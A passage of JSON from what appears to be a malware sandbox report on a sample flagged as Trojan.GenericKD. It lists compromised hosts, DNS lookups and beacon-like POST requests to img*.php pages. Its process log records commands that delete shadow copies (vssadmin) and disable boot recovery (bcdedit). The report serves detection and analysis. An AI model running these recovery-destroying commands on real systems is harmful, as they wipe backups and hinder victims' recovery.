webserver"}],"sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]}]},"activity":{"stats":{"process_count":6,"spawned_processes_count":6,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":91,"dropped_files_count":0,"extracted_files_count":1,"files_written_count":43,"files_deleted_count":0,"registry_keys_created_count":6,"registry_keys_modified_count":0,"registry_keys_deleted_count":1,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":7,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":31,"dns_resolutions_count":42,"contacted_urls_count":74,"http_requests_count":74},"behavior_tags":null,"sample_flags":["Network Traffic","Extracted Files","Multi-Process","TOR analysis"],"sandbox_reports":[{"id":"5803dfe5aac2eda741cf48f3","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.GenericKD","contacted_countries":["BRA","DEU","USA"],"submit_name":"internal_31572.scr","analysis_start_time":"2016-10-16T22:16:04+00:00","indicators_count":{"informative":11,"suspicious":16,"malicious":13},"tags":["Multi-Process","Network Traffic","TOR analysis"],"is_in_unified_schema":true},{"id":"561a745e0e316d8c08daed9d","environment_id":1,"environment_description":"Windows 7 32 bit (EN)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.GenericKD","contacted_countries":["BRA","CHL","DEU","FRA","NLD","SWE","TUR","USA"],"submit_name":"internal_31572.scr","analysis_start_time":"2015-11-05T11:33:35+00:00","indicators_count":{"informative":8,"suspicious":14,"malicious":15},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"188.165.164.184","port":80,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"205.209.123.35","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"205.134.238.142","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"190.107.176.7","port":80,"protocol":"TCP","country":"Chile","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"198.58.92.228","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"212.68.42.26","port":80,"protocol":"TCP","country":"Turkey","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"189.38.80.72","port":80,"protocol":"TCP","country":"Brazil","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"23.236.238.227","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"50.97.118.154","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"205.178.189.129","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"109.200.196.187","port":80,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"72.29.81.177","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"50.87.169.19","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"108.167.189.63","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"184.168.221.21","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"23.236.147.154","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"69.89.22.148","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"69.195.124.86","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"83.209.243.10","port":80,"protocol":"TCP","country":"Sweden","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"74.220.199.6","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"216.55.179.136","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"85.25.198.231","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"72.29.73.163","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"74.220.215.105","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"69.64.147.242","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"204.152.255.10","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"address":"216.146.38.70","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"address":"78.47.139.102","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"address":"64.40.153.128","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"address":"108.179.232.244","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"address":"177.185.192.98","port":80,"protocol":"TCP","country":"Brazil","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]}],"dns_resolutions":[{"domain":"gjswan.com","country":"-","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"domain":"grycksbo.org","address":"83.209.243.10","country":"Sweden","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"creativoplasma.com","address":"23.236.238.227","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"cannedseniordogfood.com","address":"108.167.189.63","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"domain":"box886.bluehost.com","address":"69.195.124.86","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"megasort.net","address":"109.200.196.187","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"dreamleaparchitects.com","address":"205.209.123.35","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"elapublicidad.com","address":"23.236.147.154","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"diemtichluy.net","country":"-","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"olx4u.com","country":"-","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"credit-score-repair-help.com","country":"-","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"domain":"dolidoligames.org","address":"204.152.255.10","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"californiainsuranceco.com","address":"69.89.22.148","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"dropnwashlaundry.com","address":"69.64.147.242","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"ip-addr.es","address":"188.165.164.184","country":"France","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"domain":"grupobsm.net","address":"184.168.221.21","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"dcmaulmembers.com","country":"-","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"marine-club.net","address":"216.55.179.136","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"domainithere.com","address":"72.29.81.177","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"superiorseoservices.com.au","country":"-","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"domain":"dh-solutions.net","address":"212.68.42.26","country":"Turkey","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"captainblowdri.com","address":"72.29.73.163","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"marivaldakariri.net","address":"189.38.80.72","country":"Brazil","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"domain":"preciousmetalsrarecoininvestments.com","address":"74.220.215.105","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"fotosiski.com","country":"-","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"funnyvideosonline.net","country":"-","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"dishwashersreviews.org","country":"-","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"almjobs.com","address":"205.134.238.142","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"hisarins.com","country":"-","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"www.decisiondock.com","address":"205.178.189.129","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"jake-angela.com","address":"198.58.92.228","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"butterflymedia.az","country":"-","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"ohiorealestateinvestor.com","address":"74.220.199.6","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"dladesigninc.net","country":"-","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"www.dreamleaparchitects.com","address":"205.209.123.35","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"dyounglawoffice.com","address":"69.195.124.86","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"decisiondock.com","address":"205.178.189.129","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"crushtrack.com","address":"50.97.118.154","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"ingesof.com","address":"190.107.176.7","country":"Chile","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"spindna.com","address":"50.87.169.19","country":"United States","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"hcegroup.net","address":"85.25.198.231","country":"Germany","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"domain":"myexternalip.com","address":"78.47.139.102","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]}],"http_requests":[{"host":"ip-addr.es","host_ip":"188.165.164.184:80","url":"/","method":"GET","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"host":"","host_ip":"192.168.56.10:49159","url":"","method":"","response_code":"200","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"dreamleaparchitects.com","host_ip":"205.209.123.35:80","url":"/img4.php?h=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"www.dreamleaparchitects.com","host_ip":"205.209.123.35:80","url":"/dreamleaparchitects.com/img4.php?h=x0tkp22tgik","method":"GET","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"almjobs.com","host_ip":"205.134.238.142:80","url":"/img4.php?o=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"ingesof.com","host_ip":"190.107.176.7:80","url":"/img4.php?m=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"jake-angela.com","host_ip":"198.58.92.228:80","url":"/img5.php?a=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"dh-solutions.net","host_ip":"212.68.42.26:80","url":"/img5.php?k=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"marivaldakariri.net","host_ip":"189.38.80.72:80","url":"/img2.php?t=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"creativoplasma.com","host_ip":"23.236.238.227:80","url":"/televisa/img1.php?c=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"crushtrack.com","host_ip":"50.97.118.154:80","url":"/img2.php?q=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"decisiondock.com","host_ip":"205.178.189.129:80","url":"/img2.php?r=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"megasort.net","host_ip":"109.200.196.187:80","url":"/img2.php?x=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"domainithere.com","host_ip":"72.29.81.177:80","url":"/tools/img2.php?s=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"spindna.com","host_ip":"50.87.169.19:80","url":"/img1.php?k=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"cannedseniordogfood.com","host_ip":"108.167.189.63:80","url":"/img2.php?s=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"grupobsm.net","host_ip":"184.168.221.21:80","url":"/img4.php?b=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"californiainsuranceco.com","host_ip":"69.89.22.148:80","url":"/img4.php?c=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"box886.bluehost.com","host_ip":"69.195.124.86:80","url":"/suspended.page/disabled.cgi/therumorbuster.com?k=x0tkp22tgik","method":"GET","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"grycksbo.org","host_ip":"83.209.243.10:80","url":"/img5.php?i=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"ohiorealestateinvestor.com","host_ip":"74.220.199.6:80","url":"/img1.php?z=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"marine-club.net","host_ip":"216.55.179.136:80","url":"/img3.php?p=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"hcegroup.net","host_ip":"85.25.198.231:80","url":"/img5.php?o=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"captainblowdri.com","host_ip":"72.29.73.163:80","url":"/img4.php?d=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"preciousmetalsrarecoininvestments.com","host_ip":"74.220.215.105:80","url":"/img2.php?m=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"dropnwashlaundry.com","host_ip":"69.64.147.242:80","url":"/wp-content/img1.php?y=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"dolidoligames.org","host_ip":"204.152.255.10:80","url":"/img1.php?w=x0tkp22tgik","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"dreamleaparchitects.com","host_ip":"205.209.123.35:80","url":"/img4.php?u=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"www.dreamleaparchitects.com","host_ip":"205.209.123.35:80","url":"/dreamleaparchitects.com/img4.php?u=2wkazvxvskni","method":"GET","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"almjobs.com","host_ip":"205.134.238.142:80","url":"/img4.php?c=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"jake-angela.com","host_ip":"198.58.92.228:80","url":"/img5.php?l=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"dh-solutions.net","host_ip":"212.68.42.26:80","url":"/img5.php?n=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"marivaldakariri.net","host_ip":"189.38.80.72:80","url":"/img2.php?s=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"creativoplasma.com","host_ip":"23.236.238.227:80","url":"/televisa/img1.php?j=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"decisiondock.com","host_ip":"205.178.189.129:80","url":"/img2.php?u=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"megasort.net","host_ip":"109.200.196.187:80","url":"/img2.php?m=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"domainithere.com","host_ip":"72.29.81.177:80","url":"/tools/img2.php?l=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"spindna.com","host_ip":"50.87.169.19:80","url":"/img1.php?b=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"cannedseniordogfood.com","host_ip":"108.167.189.63:80","url":"/img2.php?g=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"grupobsm.net","host_ip":"184.168.221.21:80","url":"/img4.php?l=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"californiainsuranceco.com","host_ip":"69.89.22.148:80","url":"/img4.php?n=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"dyounglawoffice.com","host_ip":"69.195.124.86:80","url":"/img1.php?j=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"box886.bluehost.com","host_ip":"69.195.124.86:80","url":"/suspended.page/disabled.cgi/therumorbuster.com?j=2wkazvxvskni","method":"GET","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"ohiorealestateinvestor.com","host_ip":"74.220.199.6:80","url":"/img1.php?a=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"marine-club.net","host_ip":"216.55.179.136:80","url":"/img3.php?o=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"captainblowdri.com","host_ip":"72.29.73.163:80","url":"/img4.php?q=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"preciousmetalsrarecoininvestments.com","host_ip":"74.220.215.105:80","url":"/img2.php?n=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"dropnwashlaundry.com","host_ip":"69.64.147.242:80","url":"/wp-content/img1.php?c=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"dolidoligames.org","host_ip":"204.152.255.10:80","url":"/img1.php?t=2wkazvxvskni","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"dreamleaparchitects.com","host_ip":"205.209.123.35:80","url":"/img4.php?t=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"www.dreamleaparchitects.com","host_ip":"205.209.123.35:80","url":"/dreamleaparchitects.com/img4.php?t=4xo4lnmdindsst","method":"GET","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"almjobs.com","host_ip":"205.134.238.142:80","url":"/img4.php?v=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"ingesof.com","host_ip":"190.107.176.7:80","url":"/img4.php?d=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"jake-angela.com","host_ip":"198.58.92.228:80","url":"/img5.php?a=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"dh-solutions.net","host_ip":"212.68.42.26:80","url":"/img5.php?c=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"marivaldakariri.net","host_ip":"189.38.80.72:80","url":"/img2.php?p=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"creativoplasma.com","host_ip":"23.236.238.227:80","url":"/televisa/img1.php?i=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"crushtrack.com","host_ip":"50.97.118.154:80","url":"/img2.php?c=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"decisiondock.com","host_ip":"205.178.189.129:80","url":"/img2.php?x=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"domainithere.com","host_ip":"72.29.81.177:80","url":"/tools/img2.php?n=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"spindna.com","host_ip":"50.87.169.19:80","url":"/img1.php?w=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"cannedseniordogfood.com","host_ip":"108.167.189.63:80","url":"/img2.php?e=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"dyounglawoffice.com","host_ip":"69.195.124.86:80","url":"/img1.php?l=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"box886.bluehost.com","host_ip":"69.195.124.86:80","url":"/suspended.page/disabled.cgi/therumorbuster.com?l=4xo4lnmdindsst","method":"GET","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"ohiorealestateinvestor.com","host_ip":"74.220.199.6:80","url":"/img1.php?a=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"marine-club.net","host_ip":"216.55.179.136:80","url":"/img3.php?c=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"hcegroup.net","host_ip":"85.25.198.231:80","url":"/img5.php?x=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"captainblowdri.com","host_ip":"72.29.73.163:80","url":"/img4.php?l=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"dropnwashlaundry.com","host_ip":"69.64.147.242:80","url":"/wp-content/img1.php?j=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"dolidoligames.org","host_ip":"204.152.255.10:80","url":"/img1.php?n=4xo4lnmdindsst","method":"POST","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"host":"myexternalip.com","host_ip":"78.47.139.102:80","url":"/raw","method":"GET","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"host":"gjswan.com","host_ip":"64.40.153.128:80","url":"/img3.php?s=gzrvrqgrzak8","method":"POST","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"host":"superiorseoservices.com.au","host_ip":"108.179.232.244:80","url":"/img5.php?b=gzrvrqgrzak8","method":"POST","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"host":"marivaldakariri.net","host_ip":"177.185.192.98:80","url":"/img2.php?s=gzrvrqgrzak8","method":"POST","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}],"processes":[{"pid":3952,"ppid":0,"name":"internal_31572.scr.exe","command_line":"","normalized_path":"","uid":"00115125-00003952","icon":"$2b"},{"pid":4044,"ppid":0,"name":"internal_31572.scr.exe","command_line":"","normalized_path":"","uid":"00122156-00004044"},{"pid":4060,"ppid":0,"name":"explorer.exe","command_line":"","normalized_path":"","uid":"00124796-00004060"},{"pid":1784,"ppid":0,"name":"vssadmin.exe","command_line":"Delete Shadows /All /Quiet","normalized_path":"","uid":"00128921-00001784"},{"pid":1164,"ppid":0,"name":"bcdedit.exe","command_line":"bcdedit /set {default} recoveryenabled No","normalized_path":"","uid":"00130250-00001164"},{"pid":1748,"ppid":0,"name":"bcdedit.exe","command_line":"bcdedit /set {default} bootstatuspolicy ignoreallfailures","normalized_path":"","uid":"00131531-00001748"}],"all_imported_dlls":["ole32.dll","ws2_32.dll","SHLWAPI.dll","CLBCatQ.DLL","LPK.dll","IMM32.DLL","GDI32.dll","shell32.dll","ADVAPI32.dll","RPCRT4.dll","DEVOBJ.dll","odbcint.dll","KERNELBASE.dll","PSAPI.DLL","SspiCli.dll","USER32.dll","VERSION.dll","wininet.dll","CRYPTSP.dll","rsaenh.dll","USP10.dll","sechost.dll","uxtheme.dll","slc.dll","SSPICLI.DLL","IMM32.dll","DUI70.dll","vss_ps.dll","ntdll.dll","dwmapi.dll","COMCTL32.DLL","apphelp.dll","UxTheme.dll","PROPSYS.dll","ATL.DLL","ODBC32.dll","msvcrt.dll","EXPLORERFRAME.dll","VSSAPI.DLL","RpcRtRemote.dll","kernel32.dll","POWRPROF.dll","SHELL32.dll","VssTrace.DLL","CFGMGR32.dll","MFC42u.DLL","OLEAUT32.dll","MSCTF.dll","CRYPTBASE.dll","DUser.dll","gdiplus.dll","Secur32.dll","SETUPAPI.dll","vssapi.dll","rpcss.dll","mfc42u.dll","odbc32.dll","msctf.dll","crypt32.dll","duser.dll","dui70.dll","secur32.dll","rpcrt4.dll","psapi.dll","msasn1.dll","iertutil.dll","ExplorerFrame.dll","GdiPlus.dll","sspicli.dll","KernelBase.dll","advapi32.dll","imm32.dll","clbcatq.dll","lpk.dll","usp10.dll","oleaut32.dll","cryptsp.dll","urlmon.dll","cryptbase.dll","propsys.dll","user32.dll","gdi32.dll","comctl32.dll","powrprof.dll","devobj.dll","atl.dll","shlwapi.dll","setupapi.dll","cfgmgr32.dll","vsstrace.dll","nsi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"pspubws@dropnwashlaundry[1].txt","sha